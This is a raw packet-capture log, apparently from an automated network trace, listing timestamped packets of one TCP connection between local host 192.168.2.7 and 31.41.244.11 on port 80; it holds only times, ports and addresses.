Jan 12, 2025 17:39:13.906994104 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907026052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907043934 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907063961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907080889 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907114983 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907128096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907128096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907154083 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907177925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907186031 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907207966 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907218933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907247066 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907270908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907270908 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907280922 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907295942 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907337904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907362938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907373905 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907407045 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907407999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907433987 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907437086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907489061 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907494068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907536983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907546997 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907598019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907612085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907650948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907675982 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907700062 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907717943 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907752037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907768965 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907805920 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907825947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907864094 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907890081 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907911062 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.907917023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907952070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.907984972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908001900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908001900 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908020020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908055067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908068895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908068895 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908091068 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908123970 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908138037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908138037 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908158064 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908174038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908188105 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908226013 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908237934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908237934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908257961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908291101 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908324003 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908337116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908337116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908337116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908353090 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908385992 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908395052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908395052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908418894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908432961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908447981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908480883 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908499002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908499002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908512115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908540010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908571005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908575058 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908592939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908610106 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908631086 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908646107 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908652067 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908679962 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908715010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908734083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908734083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908747911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908777952 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908792019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908792019 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908809900 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908828020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908854961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908862114 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908888102 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908900023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908927917 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908932924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.908955097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908955097 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.908988953 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.935853958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.935909033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.935941935 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.935944080 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.935995102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936029911 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936049938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936049938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936064005 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936096907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936115026 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936115980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936148882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936183929 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936187983 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936220884 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936229944 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936264038 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936285019 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936292887 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936337948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936379910 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936388016 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936403036 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936439037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936475039 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936507940 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936522961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936522961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936522961 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936548948 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936578989 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936608076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936611891 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936636925 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936645985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936677933 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936712980 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936718941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936718941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936718941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936745882 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936785936 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936794043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936794043 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936815023 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936837912 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936846972 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936898947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936908007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936908007 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936933041 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936968088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.936999083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.936999083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937000036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937016964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937052011 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937068939 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937088966 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937103033 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937134027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937139988 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937170029 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937210083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937210083 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937222958 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937273026 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937290907 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937302113 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937319994 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937354088 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937357903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937393904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937416077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937427044 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937441111 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937463045 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937469006 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937495947 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937527895 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937547922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937547922 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937556982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937588930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937621117 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937624931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937624931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937624931 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937653065 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937688112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937695980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937695980 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937720060 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937757969 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937781096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937781096 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937787056 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937818050 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937825918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937825918 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937851906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937885046 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937901974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937901974 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937923908 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937944889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.937957048 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.937990904 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938024998 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938052893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938052893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938054085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938060999 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938088894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938092947 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938108921 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938122034 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938155890 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938185930 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938188076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938188076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938219070 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938225031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938225031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938252926 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938263893 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938290119 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938318014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.938335896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938335896 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.938450098 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.992690086 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992723942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992774963 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992782116 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.992826939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992863894 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992904902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.992904902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.992904902 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.992913961 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.992949009 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993000984 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993036985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993041039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993041039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993041039 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993072033 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993132114 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993139982 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993191957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993223906 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993226051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993226051 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993273020 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993279934 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993308067 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993316889 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993341923 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993375063 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993387938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993387938 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993422031 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993423939 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993458986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993472099 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993491888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993531942 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993539095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993539095 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993566036 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993587971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993601084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993613958 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993633986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993648052 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993668079 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993700981 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993716002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993716002 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993757010 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993771076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993808985 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993861914 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993911028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993911028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993911028 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.993912935 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993966103 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.993968964 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994016886 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994023085 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994055986 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994082928 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994106054 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994134903 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994141102 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994157076 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994174957 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994209051 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994210005 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994244099 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994276047 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994281054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994281054 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994307995 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994342089 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994349003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994349003 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994374037 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994395971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994395971 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994409084 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994441032 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994474888 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994478941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994478941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994478941 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994503021 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994537115 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994571924 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994579077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994579077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994579077 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994606018 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994640112 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994673014 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994683027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994683027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994683027 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994707108 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994743109 CET	80	49975	31.41.244.11	192.168.2.7
Jan 12, 2025 17:39:13.994771004 CET	49975	80	192.168.2.7	31.41.244.11
Jan 12, 2025 17:39:13.994771004 CET	49975	80	192.168.2.7	31.41.244.11
